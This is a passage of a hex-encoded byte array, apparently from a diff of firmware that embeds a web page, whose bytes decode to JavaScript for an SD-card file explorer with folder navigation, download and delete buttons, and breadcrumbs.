0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x5B, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, - 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x2D, 0x20, 0x31, 0x5D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x72, 0x65, 0x6E, 0x64, 0x65, 0x72, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x3D, 0x20, 0x67, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, - 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x45, 0x6C, 0x65, - 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x22, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x73, - 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, - 0x74, 0x2E, 0x69, 0x6E, 0x6E, 0x65, 0x72, 0x48, 0x54, 0x4D, 0x4C, 0x20, 0x3D, 0x20, 0x22, 0x22, 0x3B, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x6C, 0x65, 0x61, 0x72, 0x20, 0x65, 0x78, 0x69, 0x73, 0x74, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x6E, 0x74, - 0x65, 0x6E, 0x74, 0x73, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x2E, 0x63, - 0x68, 0x69, 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x20, 0x7C, 0x7C, 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x2E, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, - 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x30, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x45, 0x6C, 0x65, 0x6D, - 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x22, 0x54, 0x68, 0x69, 0x73, 0x20, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x69, 0x73, 0x20, 0x65, 0x6D, 0x70, 0x74, 0x79, 0x2E, - 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x75, 0x6C, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x75, 0x6C, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x6C, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, - 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x2E, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x2E, 0x66, 0x6F, 0x72, 0x45, 0x61, 0x63, 0x68, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x20, 0x3D, 0x3E, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x6C, 0x69, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, - 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x6C, 0x69, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, - 0x22, 0x73, 0x70, 0x61, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, - 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x6E, 0x61, 0x6D, 0x65, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x74, 0x79, 0x70, 0x65, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x22, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x22, 0x29, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, - 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, - 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2E, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x28, 0x29, 0x20, 0x3D, 0x3E, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x65, 0x49, 0x6E, 0x74, 0x6F, 0x46, 0x6F, 0x6C, 0x64, - 0x65, 0x72, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, - 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x69, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x74, 0x79, 0x70, 0x65, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x29, 0x20, 0x7B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, - 0x65, 0x72, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x64, 0x69, 0x76, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, - 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x22, 0x44, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x22, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, - 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, - 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, - 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x2E, 0x6F, 0x6E, 0x63, - 0x6C, 0x69, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x28, 0x29, 0x20, 0x3D, 0x3E, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x46, 0x69, 0x6C, 0x65, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x70, 0x61, 0x74, 0x68, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, - 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, - 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x65, 0x6C, - 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x22, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x73, 0x6D, 0x61, - 0x6C, 0x6C, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x2E, 0x63, 0x6C, 0x61, - 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x2D, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x2E, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x28, 0x29, 0x20, 0x3D, 0x3E, 0x20, 0x64, 0x65, 0x6C, 0x65, - 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x70, 0x61, 0x74, 0x68, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x64, - 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x69, 0x2E, 0x61, 0x70, 0x70, - 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x6C, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, - 0x6C, 0x69, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, - 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x75, 0x6C, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x42, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x42, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, - 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x22, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x69, 0x6E, 0x6E, 0x65, 0x72, 0x48, 0x54, 0x4D, 0x4C, 0x20, 0x3D, 0x20, 0x22, 0x22, 0x3B, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x6C, 0x65, 0x61, 0x72, 0x20, 0x65, 0x78, - 0x69, 0x73, 0x74, 0x69, 0x6E, 0x67, 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x73, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, - 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x66, 0x6F, 0x72, 0x45, 0x61, 0x63, 0x68, 0x28, 0x28, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x2C, 0x20, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x29, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x73, 0x70, 0x61, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, - 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x22, 0x29, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x66, 0x6F, 0x6C, 0x64, - 0x65, 0x72, 0x2E, 0x6E, 0x61, 0x6D, 0x65, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 